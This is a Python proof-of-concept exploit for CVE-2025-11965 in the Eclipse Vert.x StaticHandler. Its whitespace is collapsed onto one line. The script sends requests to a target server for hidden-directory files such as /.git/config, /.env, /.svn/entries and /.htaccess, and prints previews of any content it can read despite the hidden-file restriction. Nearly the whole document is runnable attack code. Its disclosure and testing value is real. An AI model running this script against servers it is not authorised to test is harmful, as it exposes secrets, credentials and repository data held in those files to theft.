CVE-2025-11965

# CVE-2025-11965 PoC - Eclipse Vert.x StaticHandler Hidden Directory Access Bypass # This PoC demonstrates how to bypass StaticHandler's hidden file restriction # to access files within hidden directories (e.g., .git/config) import requests target_url = "http://target-server:8080" # Attempt to access files within hidden directories # The vulnerability allows reading files inside hidden directories # even when setIncludeHidden(false) is configured hidden_paths = [ "/.git/config", # Git repository configuration "/.git/HEAD", # Git HEAD reference "/.svn/entries", # SVN metadata "/.env", # Environment configuration file "/.htaccess", # Apache configuration "/.gitignore", # Direct hidden file (should be blocked) ] for path in hidden_paths: url = f"{target_url}{path}" try: response = requests.get(url, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] ACCESS GRANTED: {url}") print(f" Content preview: {response.text[:200]}") print(f" Status: {response.status_code}, Length: {len(response.content)}") elif response.status_code == 403 or response.status_code == 404: print(f"[-] ACCESS DENIED: {url} (Status: {response.status_code})") else: print(f"[?] UNEXPECTED: {url} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] ERROR for {url}: {e}") print("-" * 60) # Expected behavior: All hidden paths should be blocked # Vulnerable behavior: Paths like /.git/config are accessible # while /.gitignore is properly blocked
